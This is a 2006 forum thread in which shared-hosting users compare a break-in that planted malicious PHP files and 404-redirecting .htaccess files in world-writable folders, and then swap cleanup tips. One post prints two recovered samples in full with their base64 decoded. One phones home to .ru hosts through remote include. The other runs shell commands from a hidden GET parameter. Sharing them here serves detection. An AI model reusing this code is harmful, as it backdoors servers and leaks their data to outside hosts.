Damn script kiddies
#1
Posted 01 February 2006 - 01:12 PM
I'm pretty sure it used a hole in one of the scripts I use (Wordpress, Textpattern and Zenphoto) because it only wrote files in folders writable by the web server.
What keeps me wondering in how he/she/it managed to put these files in every single folder with 777 permissions under my public_html.
Maybe I'm not the only one who was targeted. To know if you are affected too, try to look in 777 folders for files named system.php, time.php or date.php or something like that. There are two of them: one sending as much the info about the server as it can gather to some website, and the other one which can execute commands, sent through a GET variable, using the system() function.
There's also a .htaccess file in each folder redirecting 404 requests to one of the malicious scripts.
I've contacted ASO, but they say it wasn't a system-wide attack, which might be true since the other accounts I have on that server (I have reselling) weren't affected. And unfortunately I don't have logs for the day of the attack (all the files were created on January 20th).
What do you think? I can't find any knowned vulnerability for the latest versions of the scripts I use, so how did the cracker get in?
#4
Posted 02 February 2006 - 01:31 PM
This post has been edited by jaseone: 02 February 2006 - 01:31 PM
An Aussie geek stuck in Texas
Road Show Blondes - Follow the Road Show as we drive from Houston to New York City to raise awareness and money for suicide prevention with The Jed Foundation.
#6
Posted 02 February 2006 - 04:42 PM
An Aussie geek stuck in Texas
Road Show Blondes - Follow the Road Show as we drive from Houston to New York City to raise awareness and money for suicide prevention with The Jed Foundation.
#8
Posted 02 February 2006 - 07:20 PM
Almost every file that was 777, had malicious code inserted. And all folders that were 777 had scripts put into them.
It has been a headache trying to fix everything.
I also used wordpress...
This post has been edited by fleshy: 02 February 2006 - 07:20 PM
#9
Posted 02 February 2006 - 11:01 PM
#11
Posted 03 February 2006 - 09:36 PM
Some of the file names are as follows:
commands.php
contacts.php
finfo.php
links.php
tests.php
base.php
download.php
package.php
layout.php
options.php
time.php
date.php
include.php
create.php
messages.php
config.php
reports.php
system.php
time.php
They mostly consist of cryptic PHP that uses base64 encoding to mask the real purpose. They are no more than a kilobyte in size.
In addition to populating every 777 folder with PHP files, every folder was also hit with a replacement .htaccess redirecting 404 traffic to the "bad" PHP files.
The only software installed on my account is software I wrote myself, and Lussumo Filebrowser. I believe the attack originated from a different account on the server.
I am on Pi.
The other account I manage (Mount Millions, the link below) is on Hurley and was not hit with this attack.
I suppose there is no possibility to prevent PHP from writing to folders outside the users own directory structure. So that a PHP file being executed in user A would only be able to write in the directory tree of user A... Gah.
This post has been edited by Ghoul: 03 February 2006 - 09:44 PM
#12
Posted 03 February 2006 - 10:55 PM
They mostly consist of cryptic PHP that uses base64 encoding to mask the real purpose. They are no more than a kilobyte in size.
Could you post them, so we could see them for ourselves?
For reference, I'm on HP, and haven't been hit. What server are you on?
#13
Posted 03 February 2006 - 11:54 PM
I am posting these files so that others can see the source and identify the same files on their account. Normally the code contained within the files is removed of whitespace so that it can be contained on one line.
The first file:
error_reporting(0);
$s = "k";
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$str = base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".
base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s";
if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjEyLnBocHN1cHBvcnQucnU=")."/?".$str)))
{
}
else
{
include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjUucGhwc3VwcG9ydC5ydQ==")."/?".$str);
}
?>
The base64 encodes values are as follows:
"aHR0cDovLw==" is "http://"
"dXNlcjUucGhwc3VwcG9ydC5ydQ==" is "user12.phpsupport.ru"
"dXNlcjUucGhwc3VwcG9ydC5ydQ==" is "user5.phpsupport.ru"
It would seem this file sends an encoded string containing information about the compromised server to "user12.phpsupport.ru" and if that fails, to "user5.phpsupport.ru".
Here is the second file.
error_reporting(0);
if (isset($_POST["l"]) and isset($_POST["p"]))
{
if(isset($_POST["input"]))
{
$user_auth = "&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));
}
else
{
$user_auth = "&l=". $_POST["l"] ."&p=". $_POST["p"];
}
}
else
{
$user_auth = "";
}
if (!isset($_POST["log_flg"]))
{
$log_flg = "&log";
}
if (!@include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if (isset($_GET["a3kfj39fsj2"]))
{
system($_GET["a3kfj39fsj2"]);
}
if ($_POST["l"]=="special")
{
print "sys_active". `uname -a`;
}
}
?>
base64 encoded content:
"aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9" = "http:// bis.iframe.ru/master.php?r_addr="
(Space added to prevent autolinking.)
This file seems to accept post information from some kind of remote server and execute commands on the server through the system function. It also alerts back to the above URL a integer version of the IP of the remote address and the requested URL.
The .htaccess file created in each infected folder is similar to this:
ErrorDocument 404 //path/to/infected/file.php
I only downloaded one sample .htaccess so I don't know if the double slash at the begining is normal. The path in the sample I found is NOT a valid path, and does not take into account "home" or "username" or even "public_html" in the directory structure. Normally the 404 redirection would run the first script I posted, alerting whomever compromised the server.
I haven't found any other files. I searched the logs I could find and it doesn't look like any of the files were ever accessed. It would seem I was infected due to the shared hosting fact.
If anyone has anymore information, please post.
#15
Posted 04 February 2006 - 06:53 AM
I've asked if there's any chance of getting some sort of 'roll-back' on my account, but I've got a feeling the answer will be a no
EDIT: Going through my various accounts on Pi now, that's the last time I CHMOD anything to 777 whilst on a shared host. Just a heads up for anyone else looking to quickly (well, trying to) delete files most of them seem to be either 1.01KB or 694bytes, there seems to be one of each file in each folder (with random common names), and there's always the messed-up .htaccess file.
This post has been edited by Oblivion.: 04 February 2006 - 07:39 AM
Some people don't look at member groups so... I Am Not ASO Staff Now don't moan at me <_<

#16
Posted 04 February 2006 - 10:27 AM
You shall do this by FTP or by SSH access. Just chomd all PHP, HTML & ASP files to 644.
For setting file permissions using shell access, excute the following command:
chmod -R 644 *.php
chmod -R 644 *.html
chmod -R 644 *.asp
#18
Posted 17 February 2006 - 02:00 PM
Um speaking of just using this atm:
ls -lR > listing.txt
but wondering if there is a way to only export to file those files are are chmod 777 to a text file?
Try:
This post has been edited by Ghoul: 17 February 2006 - 02:00 PM
#19
Posted 17 February 2006 - 05:23 PM
From there you can see which files you need to just delete and which you will need to edit.
Any lines that start with grep: can be ignored, as can any with warning or error lines.
I wouldn't just check mode 777 files, I saw this today on mode 666 ones.
#20
Posted 20 February 2006 - 12:18 AM
So, yea, I'm scouring my site for more files.




Sign In
Register
Help


MultiQuote





